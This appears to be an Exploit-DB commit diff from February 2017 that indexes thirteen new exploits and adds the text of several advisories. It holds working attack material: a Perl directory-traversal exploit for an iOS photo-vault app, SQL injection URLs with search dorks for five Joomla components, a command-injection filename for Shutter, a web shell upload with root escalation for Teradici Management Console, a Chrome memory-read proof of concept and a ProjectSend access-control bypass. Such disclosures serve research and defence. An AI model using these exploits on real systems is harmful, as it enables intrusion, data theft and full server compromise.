DB: 2017-02-23

13 new exploits

EasyCom For PHP 4.0.0 - Buffer Overflow (PoC)
EasyCom For PHP 4.0.0 - Denial of Service
Google Chrome - 'layout' Out-of-Bounds Read

Shutter 0.93.1 - Code Execution

DiskSavvy Enterprise - GET Buffer Overflow (Metasploit)
Disk Savvy Enterprise - GET Buffer Overflow (Metasploit)

Disk Savvy Enterprise 9.4.18 - Buffer Overflow (SEH)
Joomla! Component ContentMap 1.3.8 - 'contentid' Parameter SQL Injection
Joomla! Component VehicleManager 3.9 - SQL Injection
Joomla! Component RealEstateManager 3.9 - SQL Injection
Joomla! Component BookLibrary 3.6.1 - SQL Injection
Joomla! Component MediaLibrary Basic 3.5 - SQL Injection
Lock Photos Album&Videos Safe 4.3 - Directory Traversal
ProjectSend r754 - Insecure Direct Object Reference
Teradici Management Console 2.2.0 - Privilege Escalation

files.csv

@@ -5379,6 +5379,9 @@ id,file,description,date,author,platform,type,port
 41421,platforms/multiple/dos/41421.txt,"Adobe Flash - SWF Stack Corruption",2017-02-21,"Google Security Research",multiple,dos,0
 41422,platforms/multiple/dos/41422.txt,"Adobe Flash - Use-After-Free in Applying Bitmap Filter",2017-02-21,"Google Security Research",multiple,dos,0
 41423,platforms/multiple/dos/41423.txt,"Adobe Flash - YUVPlane Decoding Heap Overflow",2017-02-21,"Google Security Research",multiple,dos,0
+41425,platforms/windows/dos/41425.txt,"EasyCom For PHP 4.0.0 - Buffer Overflow (PoC)",2017-02-22,hyp3rlinx,windows,dos,0
+41426,platforms/windows/dos/41426.txt,"EasyCom For PHP 4.0.0 - Denial of Service",2017-02-22,hyp3rlinx,windows,dos,0
+41434,platforms/multiple/dos/41434.html,"Google Chrome - 'layout' Out-of-Bounds Read",2017-02-22,"Google Security Research",multiple,dos,0
 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@@ -8813,6 +8816,7 @@ id,file,description,date,author,platform,type,port
 41321,platforms/windows/local/41321.txt,"Cimetrics BACnet Explorer 4.0 - XML External Entity Injection",2017-02-12,LiquidWorm,windows,local,0
 41349,platforms/windows/local/41349.py,"ShadeYouVPN Client 2.0.1.11 - Privilege Escalation",2017-02-14,"Kacper Szurek",windows,local,0
 41356,platforms/linux/local/41356.txt,"ntfs-3g - Unsanitized modprobe Environment Privilege Escalation",2017-02-14,"Google Security Research",linux,local,0
+41435,platforms/linux/local/41435.txt,"Shutter 0.93.1 - Code Execution",2016-12-26,Prajith,linux,local,0
 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@@ -15279,7 +15283,7 @@ id,file,description,date,author,platform,type,port
 41041,platforms/linux/remote/41041.rb,"Cisco Firepower Management Console 6.0 - Post Authentication UserAdd",2017-01-13,Metasploit,linux,remote,0
 41073,platforms/windows/remote/41073.py,"WinaXe Plus 8.7 - Buffer Overflow",2017-01-16,"Peter Baris",windows,remote,0
 41079,platforms/windows/remote/41079.rb,"DiskBoss Enterprise - GET Buffer Overflow (Metasploit)",2017-01-16,Metasploit,windows,remote,80
-41146,platforms/windows/remote/41146.rb,"DiskSavvy Enterprise - GET Buffer Overflow (Metasploit)",2017-01-23,Metasploit,windows,remote,80
+41146,platforms/windows/remote/41146.rb,"Disk Savvy Enterprise - GET Buffer Overflow (Metasploit)",2017-01-23,Metasploit,windows,remote,80
 41148,platforms/windows/remote/41148.html,"Cisco WebEx - 'nativeMessaging' Arbitrary Remote Command Execution",2017-01-24,"Google Security Research",windows,remote,0
 41151,platforms/windows/remote/41151.rb,"Mozilla Firefox < 50.0.2 - 'nsSMILTimeContainer::NotifyTimeChange()' Remote Code Execution (Metasploit)",2017-01-24,Metasploit,windows,remote,0
 41153,platforms/windows/remote/41153.rb,"Geutebrueck GCore 1.3.8.42/1.4.2.37 - Remote Code Execution (Metasploit)",2017-01-24,"Maurice Popp",windows,remote,0
@@ -15291,6 +15295,7 @@ id,file,description,date,author,platform,type,port
 41298,platforms/hardware/remote/41298.txt,"F5 BIG-IP SSL Virtual Server - Memory Disclosure",2017-02-10,"Ege Balci",hardware,remote,0
 41358,platforms/php/remote/41358.rb,"Piwik 2.14.0 / 2.16.0 / 2.17.1 / 3.0.1 - Superuser Plugin Upload (Metasploit)",2017-02-14,Metasploit,php,remote,80
 41366,platforms/java/remote/41366.java,"OpenText Documentum D2 - Remote Code Execution",2017-02-15,"Andrey B. Panfilov",java,remote,0
+41436,platforms/windows/remote/41436.py,"Disk Savvy Enterprise 9.4.18 - Buffer Overflow (SEH)",2017-02-22,"Peter Baris",windows,remote,0
 14113,platforms/arm/shellcode/14113.txt,"Linux/ARM - setuid(0) & execve(_/bin/sh___/bin/sh__0) Shellcode (38 bytes)",2010-06-29,"Jonathan Salwan",arm,shellcode,0
 13241,platforms/aix/shellcode/13241.txt,"AIX - execve /bin/sh Shellcode (88 bytes)",2004-09-26,"Georgi Guninski",aix,shellcode,0
 13242,platforms/bsd/shellcode/13242.txt,"BSD - Passive Connection Shellcode (124 bytes)",2000-11-19,Scrippie,bsd,shellcode,0
@@ -37341,3 +37346,11 @@ id,file,description,date,author,platform,type,port
 41415,platforms/hardware/webapps/41415.rb,"Sonicwall 8.1.0.2-14sv - 'extensionsettings.cgi' Remote Command Injection (Metasploit)",2016-12-25,xort,hardware,webapps,0
 41416,platforms/hardware/webapps/41416.rb,"Sonicwall 8.1.0.2-14sv - 'viewcert.cgi' Remote Command Injection (Metasploit)",2016-12-24,xort,hardware,webapps,0
 41424,platforms/php/webapps/41424.rb,"AlienVault OSSIM/USM <= 5.3.1 - Remote Code Execution (Metasploit)",2017-01-31,"Mehmet Ince",php,webapps,0
+41427,platforms/php/webapps/41427.txt,"Joomla! Component ContentMap 1.3.8 - 'contentid' Parameter SQL Injection",2017-02-22,"Ihsan Sencan",php,webapps,0
+41428,platforms/php/webapps/41428.txt,"Joomla! Component VehicleManager 3.9 - SQL Injection",2017-02-22,"Ihsan Sencan",php,webapps,0
+41429,platforms/php/webapps/41429.txt,"Joomla! Component RealEstateManager 3.9 - SQL Injection",2017-02-22,"Ihsan Sencan",php,webapps,0
+41430,platforms/php/webapps/41430.txt,"Joomla! Component BookLibrary 3.6.1 - SQL Injection",2017-02-22,"Ihsan Sencan",php,webapps,0
+41431,platforms/php/webapps/41431.txt,"Joomla! Component MediaLibrary Basic 3.5 - SQL Injection",2017-02-22,"Ihsan Sencan",php,webapps,0
+41432,platforms/ios/webapps/41432.txt,"Lock Photos Album&Videos Safe 4.3 - Directory Traversal",2017-02-21,Vulnerability-Lab,ios,webapps,0
+41433,platforms/php/webapps/41433.txt,"ProjectSend r754 - Insecure Direct Object Reference",2017-02-21,Vulnerability-Lab,php,webapps,0
+41437,platforms/linux/webapps/41437.txt,"Teradici Management Console 2.2.0 - Privilege Escalation",2017-02-22,hantwister,linux,webapps,0

platforms/ios/webapps/41432.txt

@@ -0,0 +1,205 @@
+Document Title:
+===============
+Lock Photos Album&Videos Safe v4.3 - Directory Traversal Vulnerability
+
+
+References (Source):
+====================
+https://www.vulnerability-lab.com/get_content.php?id=2032
+
+
+Release Date:
+=============
+2017-02-21
+
+
+Vulnerability Laboratory ID (VL-ID):
+====================================
+2032
+
+
+Common Vulnerability Scoring System:
+====================================
+7.8
+
+
+Product & Service Introduction:
+===============================
+You can lock and manage your private photos, videos, text messages, voice recordings, notes, documents and other files very easily! You can store 
+and view PDF, Text(can be created and edited), PowerPoint, Word, Excel, Html, Pages, Key, Numbers and play music very simply! You can as well do 
+more things in one app and manage your life better!
+
+(Copy of the Homepage: https://itunes.apple.com/us/app/lock-photos-album-video.s/id448033053 )
+
+
+Abstract Advisory Information:
+==============================
+The vulnerability laboratory core research team discovered a remote directory traversal vulnerability in the official Galaxy Studio Lock Photos Album & Videos Safe v4.3 iOS mobile application.
+
+
+Vulnerability Disclosure Timeline:
+==================================
+2017-02-21: Public Disclosure (Vulnerability Laboratory)
+
+
+Discovery Status:
+=================
+Published
+
+
+Affected Product(s):
+====================
+Galaxy Studio (Mo Wellin)
+Product: Lock Photos Album & Videos Safe - iOS Mobile (Web-Application) 4.3
+
+
+Exploitation Technique:
+=======================
+Remote
+
+
+Severity Level:
+===============
+High
+
+
+Technical Details & Description:
+================================
+A directory traversal vulnerability has been dsicovered in the official Galaxy Studio Lock Photos Album & Videos Safe v4.3 iOS mobile application.
+The security vulnerability allows an attackers to unauthorized request and download local application files by usage of manipulated path parameters.
+
+The directory traversal web vulnerability is located in the `PRE` parameter of the wifi web-server interface. Remote attackers are able to request 
+the local web-server during the sharing process to access unauthenticated application files. Attackers are able to request via form action path 
+variables to access, download or upload arbitrary files. Remote attackers are able to access the sql-lite database file that own the web-server 
+access credentials of the application. After the download the attacker is able to access the database management system file to use the credentials 
+for unauthorized access via protocol. The PRE request with the action form variable allows to inject any path of the local file system without check 
+for privileges or user access rights. Thus allows an attacker to bypass the local path restriction to compromise the mobile ios web-server application.
+The request method to inject is GET and the attack vector is located on the client-side of the web-server web-application. Finally an attacker is able 
+to access with the credentials the service by using a client via http protocol.
+
+The security risk of the directory traversal vulnerability is estimated as high with a cvss (common vulnerability scoring system) count of 7.8. 
+Exploitation of the web vulnerability requires no privilege web-application user account or user interaction. Successful exploitation of the 
+vulnerability results in information leaking, mobile application compromise by unauthorized and unauthenticated access.
+
+Request Method(s):
+[+] GET
+
+Vulnerable Module(s):
+[+] PRE
+
+Vulnerable Parameter(s):
+[+] form action
+
+Affected Module(s):
+[+] Web-Server File System
+
+
+Proof of Concept (PoC):
+=======================
+The security vulnerability can be exploited by remote attackers without user interaction or privilege web-application user account.
+For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
+
+
+Standard Request:
+http://localhost:5555/?PRE=action form
+
+
+PoC: Payload
+//..//..//..//..//..//..//..//..//%00
+/../../../../../../../../%00
+
+
+PoC: Exploitation
+http://localhost:5555/?PRE=action form=/../../../../../../../../%00
+
+
+PoC: Exploit
+use strict;
+use LWP::UserAgent;
+my $b = LWP::UserAgent->new();
+my $host = "localhost:5555";
+print $b->get("http://".$host."/?PRE=action form=/../../../../../../../../%00")->content;
+
+
+--- PoC Session Logs [GET] ---
+Status: 200[OK]
+GET http://localhost:5555/?PRE=action%20form=//..//..//..//..//..//..//..//..//%00 Load Flags[LOAD_DOCUMENT_URI  LOAD_INITIAL_DOCUMENT_URI  ] Größe des Inhalts[0] Mime Type[application/x-unknown-content-type]
+   Request Header:
+      Host[localhost:5555]
+      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:51.0) Gecko/20100101 Firefox/51.0]
+      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
+      Accept-Language[de,en-US;q=0.7,en;q=0.3]
+      Accept-Encoding[gzip, deflate]
+      Connection[keep-alive]
+      Upgrade-Insecure-Requests[1]
+   Response Header:
+      Date[Di., 21 Feb. 2017 09:21:48 GMT]
+      Accept-Ranges[bytes]
+      Content-Length[0]
+
+
+
+
+PoC: Vulnerable Source
+{
+  "paths" : [
+    "/Picture/Public/path/All Image/"
+  ],
+  "folder" : "/Picture/Public/path",
+  "code" : 1
+}
+... manipulated
+
+{
+  "paths" : [
+  ],
+  "folder" : "/../../../../../../../../%00",
+  "code" : 1
+}
+
+
+Reference(s):
+http://localhost:5555/
+http://localhost:5555/?PRE
+
+
+Solution - Fix & Patch:
+=======================
+The security vulnerability can be resolved by disallowing users to access the upper path for root privileges. Ensure that the form 
+action request denies to access web-server data or application configuration files. Parse and restrict the form action parameter to 
+prevent further directory traversal attacks.
+
+
+Security Risk:
+==============
+The security risk of the directory traversal web vulnerability in the mobile web-server application is estimated as high. (CVSS 7.8)
+
+
+Credits & Authors:
+==================
+Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
+
+
+Disclaimer & Information:
+=========================
+The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
+or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
+in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
+or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
+consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
+deface websites, hack into databases or trade with stolen data.
+
+Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
+Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
+Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
+Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
+Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
+
+Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
+Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
+Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
+of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.
+
+				    Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
+
+

platforms/linux/local/41435.txt

@@ -0,0 +1,26 @@
+# Exploit Title: Shutter user-assisted remote code execution
+# Date: 2016-12-26
+# Software Link: http://shutter-project.org/
+# Version: 0.93.1
+# Tested on: Ubuntu,  Debian
+# Exploit Author: Prajith P
+# Website: http://prajith.in/
+# Author Mail: me@prajith.in
+# CVE: CVE-2016-10081
+
+1. Description.
+   /usr/bin/shutter in Shutter through 0.93.1 allows user-assisted remote
+attackers to execute arbitrary commands via a crafted image name that is
+mishandled during a "Run a plugin" action.
+
+2. Proof of concept.
+   1) Rename an image to something like "$(firefox)"
+   2) Open the renamed file in shutter
+   3) Click the "Run a plugin" option and select any plugin from the list and click "Run"
+
+3. Solution:
+  https://bugs.launchpad.net/shutter/+bug/1652600
+
+
+Thanks,
+Prajithh

platforms/linux/webapps/41437.txt

@@ -0,0 +1,66 @@
+# Exploit Title: Teradici Management Console 2.2.0 - Web Shell Upload and Privilege Escalation
+# Date: February 22nd, 2017
+# Exploit Author: hantwister
+# Vendor Homepage: http://www.teradici.com/products-and-solutions/pcoip-products/management-console
+# Software Link: https://techsupport.teradici.com/ics/support/DLRedirect.asp?fileID=63583 (login required)
+# Version: 2.2.0
+
+
+Users that can access the Settings > Database Management page can achieve code
+execution as root on older versions of PCoIP MC 2.x. (Based on CentOS 7 x64)
+
+
+Web Shell Upload Vulnerability Overview
+---------------------------------------
+
+Database archives are extracted under /opt/jetty/tmpdeploy. By creating a
+malicious archive with a malicious web script that extracts to the known
+directory /opt/jetty/tmpdeploy/jetty-0.0.0.0-8080-console.war-_console-any-
+it is possible to add or modify class files and XML files pertaining to the
+application.
+
+
+Privilege Escalation Vulnerability Overview
+-------------------------------------------
+
+The jetty user owns the file /opt/jetty/jetty_self_restart.sh, and the same user
+has sudo rights to run that file without a password. By manipulating this file,
+arbitrary code can be run as root.
+
+
+Exploiting The Vulnerabilities
+------------------------------
+
+alice:~$ mkdir -p runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
+alice:~$ cd runasroot
+alice:~/runasroot$ msfvenom (snip) > evil
+alice:~/runasroot$ chmod a+x evil
+alice:~/runasroot$ nano modify_self_restart.sh
+
+#!/bin/bash
+echo /tmp/evil >> /opt/jetty/jetty_self_restart.sh
+
+alice:~/runasroot$ chmod a+x modify_self_restart.sh
+alice:~/runasroot$ cd jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images
+alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$ nano runasroot.gsp
+
+<html>
+<head>
+<title>runasroot</title>
+</head>
+<body>
+<pre>
+<% out << "cp /opt/jetty/tmpdeploy/evil /tmp/".execute().text %>
+<% out << "/opt/jetty/tmpdeploy/modify_self_restart.sh".execute().text %>
+<% out << "sudo /opt/jetty/jetty_self_restart.sh".execute().text %>
+</pre>
+</body>
+</html>
+
+alice:~/runasroot/jetty-0.0.0.0-8080-console.war-_console-any-/webapp/images$ cd ../../..
+alice:~/runasroot$ tar -zcf runasroot.tar.gz evil modify_self_restart.sh jetty-0.0.0.0-8080-console.war-_console-any-
+alice:~/runasroot$ openssl enc -e -aes-256-cbc -salt -in runasroot.tar.gz -out runasroot.archive -pass pass:4400Dominion -p
+
+Now, choose to upload runasroot.archive through the Database Management page. An
+error will be displayed that it wasn't a valid archive. Now, navigate to
+https://IP/console/images/runasroot.gsp

platforms/multiple/dos/41434.html

@@ -0,0 +1,29 @@
+<!--
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1024
+
+Chrome bug:
+
+https://bugs.chromium.org/p/chromium/issues/detail?id=671328
+
+PoC:
+-->
+
+<style>
+content { contain: size layout; }
+</style>
+<script>
+function leak() {
+ document.execCommand("selectAll"); 
+ opt.text = ""; 
+}
+</script>
+<body onload=leak()>
+<content>
+<select>
+<option id="opt">aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa</option>
+</select>
+</content>
+
+<!--
+Since this is a layout bug AFAIK the leaked data can't be obtained via DOM calls, however it's possible to obtain it using tricks like unicode-range CSS descriptor (credits to Jann Horn for coming up with that approach) which is likely sufficient to turn this into an ASLR bypass.
+-->

platforms/php/webapps/41427.txt

@@ -0,0 +1,17 @@
+# # # # # 
+# Exploit Title: Joomla! Component ContentMap v1.3.8 - SQL Injection
+# Google Dork: inurl:index.php?option=com_contentmap
+# Date: 22.02.2017
+# Vendor Homepage: https://www.turismo.eu/
+# Software Buy: https://extensions.joomla.org/extensions/extension/maps-a-weather/geotagging/contentmap/
+# Demo: https://www.turismo.eu/itinerari.html
+# Version: 1.3.8
+# Tested on: Win7 x64, Kali Linux x64
+# # # # # 
+# Exploit Author: Ihsan Sencan
+# Author Web: http://ihsan.net
+# Author Mail : ihsan[@]ihsan[.]net
+# # # # #
+# SQL Injection/Exploit :
+# http://localhost/[PATH]/index.php?option=com_contentmap&owner=plugin&view=smartloader&id=10135&Itemid=606&type=json&filename=articlesmarkers&source=article&contentid=[SQL]
+# # # # #

platforms/php/webapps/41428.txt

@@ -0,0 +1,22 @@
+# # # # # 
+# Exploit Title: Joomla! Component VehicleManager v3.9 - SQL Injection
+# Google Dork: inurl:index.php?option=com_vehiclemanager
+# Date: 22.02.2017
+# Vendor Homepage: http://ordasoft.com/
+# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/vehicles/vehiclemanager-basic/
+# Demo: http://ordasvit.com/joomla-vehicle-manager/
+# Version: 3.9
+# Tested on: Win7 x64, Kali Linux x64
+# # # # # 
+# Exploit Author: Ihsan Sencan
+# Author Web: http://ihsan.net
+# Author Mail : ihsan[@]ihsan[.]net
+# # # # #
+# SQL Injection/Exploit :
+# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=all&vcondition=[SQL]
+# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=all&transmission=[SQL]
+# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=all&listing_type=[SQL]
+# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=all&model=[SQL]
+# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=&fuel_type=[SQL]
+# http://localhost/[PATH]/index.php?option=com_vehiclemanager&Itemid=70&task=search&submit=Search&catid=0&maker=[SQL]
+# # # # #

platforms/php/webapps/41429.txt

@@ -0,0 +1,18 @@
+# # # # # 
+# Exploit Title: Joomla! Component RealEstateManager v3.9 - SQL Injection
+# Google Dork: inurl:index.php?option=com_realestatemanager
+# Date: 22.02.2017
+# Vendor Homepage: http://ordasoft.com/
+# Software Buy: https://extensions.joomla.org/extensions/extension/vertical-markets/real-estate/realestatemanager-basic/
+# Demo: http://ordasvit.com/joomla-real-estate-manager/
+# Version: 3.9
+# Tested on: Win7 x64, Kali Linux x64
+# # # # # 
+# Exploit Author: Ihsan Sencan
+# Author Web: http://ihsan.net
+# Author Mail : ihsan[@]ihsan[.]net
+# # # # #
+# SQL Injection/Exploit :
+# http://localhost/[PATH]/index.php/realestate/all-houses/all-houses-default/160/search?searchtext=a&catid=all&search_date_from=2017-02-21&search_date_until=2017-02-28&pricefrom2=114019&priceto2=750000&listing_type=all&listing_status=[SQL]
+# http://localhost/[PATH]/index.php/realestate/all-houses/all-houses-default/160/search?searchtext=a&catid=all&search_date_from=2017-02-21&search_date_until=2017-02-28&pricefrom2=114019&priceto2=750000&listing_type=[SQL]
+# # # # #

platforms/php/webapps/41430.txt

@@ -0,0 +1,18 @@
+# # # # # 
+# Exploit Title: Joomla! Component BookLibrary v3.6.1 - SQL Injection
+# Google Dork: inurl:index.php?option=com_booklibrary
+# Date: 22.02.2017
+# Vendor Homepage: http://ordasoft.com/
+# Software Buy: https://extensions.joomla.org/extensions/extension/living/education-a-culture/booklibrary-basic/
+# Demo: http://ordasvit.com/joomla-book-library
+# Version: 3.6.1
+# Tested on: Win7 x64, Kali Linux x64
+# # # # # 
+# Exploit Author: Ihsan Sencan
+# Author Web: http://ihsan.net
+# Author Mail : ihsan[@]ihsan[.]net
+# # # # #
+# SQL Injection/Exploit :
+# http://localhost/[PATH]/index.php?option=com_booklibrary&task=suggestion&comment=[SQL]
+# http://localhost/[PATH]/index.php/component/booklibrary/0/search?searchtext=[SQL]&author=on&title=on&isbn=on'&bookid=on&description=on&publisher=on&pricefrom=19&priceto=287.9&catid=0&option=com_booklibrary&task=search&Itemid=207
+# # # # #

platforms/php/webapps/41431.txt

@@ -0,0 +1,18 @@
+# # # # # 
+# Exploit Title: Joomla! Component MediaLibrary Basic v3.5 - SQL Injection
+# Google Dork: inurl:index.php?option=com_booklibrary
+# Date: 22.02.2017
+# Vendor Homepage: http://ordasoft.com/
+# Software Buy: https://extensions.joomla.org/extensions/extension/living/education-a-culture/medialibrary-basic/
+# Demo: http://ordasvit.com/joomla-media-library/
+# Version: 3.5
+# Tested on: Win7 x64, Kali Linux x64
+# # # # # 
+# Exploit Author: Ihsan Sencan
+# Author Web: http://ihsan.net
+# Author Mail : ihsan[@]ihsan[.]net
+# # # # #
+# SQL Injection/Exploit :
+# http://localhost/[PATH]/index.php/medialibrary/media/all-books/all-books/345/view/book/19[SQL]/Ihsan_Sencan
+# http://localhost/[PATH]/index.php/medialibrary/media/all-books/all-books/345/lend_request?mid[0]=[SQL]
+# # # # #

platforms/php/webapps/41433.txt

@@ -0,0 +1,157 @@
+Document Title:
+===============
+ProjectSend r754 - IDOR & Authentication Bypass Vulnerability
+
+
+References (Source):
+====================
+https://www.vulnerability-lab.com/get_content.php?id=2031
+
+
+Release Date:
+=============
+2017-02-21
+
+
+Vulnerability Laboratory ID (VL-ID):
+====================================
+2031
+
+
+Common Vulnerability Scoring System:
+====================================
+5.3
+
+
+Product & Service Introduction:
+===============================
+ProjectSend is a self-hosted application (you can install it easily on your own VPS or shared web hosting account) that lets 
+you upload files and assign them to specific clients that you create yourself! Secure, private and easy. No more depending 
+on external services or e-mail to send those files.
+
+(Copy of the Homepage: http://www.projectsend.org/ )
+
+
+Abstract Advisory Information:
+==============================
+The vulnerability laboratory core research team discovered a idor and authentication bypass vulnerability in the ProjectSend-r754 web-application.
+
+
+Vulnerability Disclosure Timeline:
+==================================
+2017-02-20: Public Disclosure (Vulnerability Laboratory)
+
+
+Discovery Status:
+=================
+Published
+
+
+Affected Product(s):
+====================
+GNU GPL License
+Product: ProjectSend r754
+
+
+Exploitation Technique:
+=======================
+Remote
+
+
+Severity Level:
+===============
+Medium
+
+
+Technical Details & Description:
+================================
+An insecure direct object references occured in case of an application provides direct access to objects based on user-supplied input. 
+As a result of this vulnerability attackers can bypass authorization and to access resources in the system. Insecure Direct Object References 
+allows attackers to bypass authorization and access resources directly by modifying the value of a parameter[client] used. Thus finally point 
+to other client account names, which allows an attackers to download others clients private data with no secure method provided.
+
+Vulnerability Method(s):
+[+] GET
+
+Vulnerable Module(s):
+[+] process.php?do=zip_download
+
+Vulnerable Parameter(s):
+[+] client
+[+] file
+
+
+Proof of Concept (PoC):
+=======================
+The security vulnerability can be exploited by remote attackers with low privilege web-application user account and low user interaction.
+For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.
+
+1. User "A" as attacker checks a file to download as zip extension, then click download to modifiy values as required ...
+
+2. Application responds with the client file list, so then you are able to download all other side user B data files with zip extension  
+
+--- PoC Session Logs ---
+GET /ProjectSend-r754/process.php?do=zip_download&client=[CLIENTNAME]&files%5B%5D=2 HTTP/1.1
+Host: localhost
+User-Agent: Mozilla/5.0 (X11; Linux i686; rv:50.0) Gecko/20100101 Firefox/50.0
+Accept: */*
+Accept-Language: en-US,en;q=0.5
+Accept-Encoding: gzip, deflate
+X-Requested-With: XMLHttpRequest
+Referer: http://localhost/ProjectSend-r754/my_files/
+Cookie: PHPSESSID=kb0uotq6mssklf213v4a7fje47
+Connection: keep-alive
+-
+HTTP/1.1 200 OK
+Date: Sun, 05 Feb 2017 19:07:41 GMT
+Server: Apache/2.2.22 (Debian)
+X-Powered-By: PHP/5.4.44-0+deb7u1
+Expires: Sat, 26 Jul 1997 05:00:00 GMT
+Cache-Control: no-store, no-cache, must-revalidate, max-age=0
+Pragma: no-cache
+Vary: Accept-Encoding
+Keep-Alive: timeout=5, max=100
+Connection: Keep-Alive
+Content-Type: text/html
+Content-Length: 6
+
+Name of Files: .jpg
+
+
+Video PoC:
+https://www.youtube.com/watch?v=Xc6Jg9I7Pj4
+
+
+Security Risk:
+==============
+The security risk of the web vulnerability in the ProjectSend-r754 web-application function is estimated as medium. (CVSS 5.3)
+
+
+Credits & Authors:
+==================
+Lawrence Amer - Vulnerability Laboratory [Research Team] - (http://lawrenceamer.me) (https://www.vulnerability-lab.com/show.php?user=Lawrence Amer)
+
+
+Disclaimer & Information:
+=========================
+The information provided in this advisory is provided as it is without any warranty. Vulnerability Lab disclaims all warranties, either expressed 
+or implied, including the warranties of merchantability and capability for a particular purpose. Vulnerability-Lab or its suppliers are not liable 
+in any case of damage, including direct, indirect, incidental, consequential loss of business profits or special damages, even if Vulnerability-Lab 
+or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability mainly for 
+consequential or incidental damages so the foregoing limitation may not apply. We do not approve or encourage anybody to break any licenses, policies, 
+deface websites, hack into databases or trade with stolen data.
+
+Domains:    www.vulnerability-lab.com 		- www.vuln-lab.com 						- www.evolution-sec.com
+Section:    magazine.vulnerability-lab.com 	- vulnerability-lab.com/contact.php 				- evolution-sec.com/contact
+Social:	    twitter.com/vuln_lab		- facebook.com/VulnerabilityLab 				- youtube.com/user/vulnerability0lab
+Feeds:	    vulnerability-lab.com/rss/rss.php 	- vulnerability-lab.com/rss/rss_upcoming.php 			- vulnerability-lab.com/rss/rss_news.php
+Programs:   vulnerability-lab.com/submit.php 	- vulnerability-lab.com/list-of-bug-bounty-programs.php 	- vulnerability-lab.com/register.php
+
+Any modified copy or reproduction, including partially usages, of this file, resources or information requires authorization from Vulnerability Laboratory. 
+Permission to electronically redistribute this alert in its unmodified form is granted. All other rights, including the use of other media, are reserved by 
+Vulnerability-Lab Research Team or its suppliers. All pictures, texts, advisories, source code, videos and other information on this website is trademark 
+of vulnerability-lab team & the specific authors or managers. To record, list, modify, use or edit our material contact (admin@) to get a ask permission.
+
+				    Copyright © 2017 | Vulnerability Laboratory - [Evolution Security GmbH]™
+
+

platforms/windows/dos/41425.txt

@@ -0,0 +1,167 @@
+[+] Credits: John Page AKA Hyp3rlinX
+[+] Website: hyp3rlinx.altervista.org
+[+] Source:  http://hyp3rlinx.altervista.org/advisories/EASYCOM-PHP-API-BUFFER-OVERFLOW.txt
+[+] ISR: ApparitionSec             
+
+
+Vendor:
+================
+easycom-aura.com
+
+
+
+Product:
+===========================
+EASYCOM AS400 (iBMI) PHP API 
+EasycomPHP_4.0029.iC8im2.exe
+
+EASYCOM is the middleware which provides native access to IBMi data and programs. With its excellent performance and strict compliance
+with IBMi security regulations, this technology facilitates development of Internet, mobile and client/server applications in
+Windows, Linux, and IBMi.
+
+
+EasyCom tested here requires older version of PHP.
+
+Setup test environment:
+
+Windows 7
+XAMPP 1.7.3
+PHP 5.3.1 (cli) (built: Nov 20 2009 17:26:32)
+Copyright (c) 1997-2009 The PHP Group
+Zend Engine v2.3.0
+
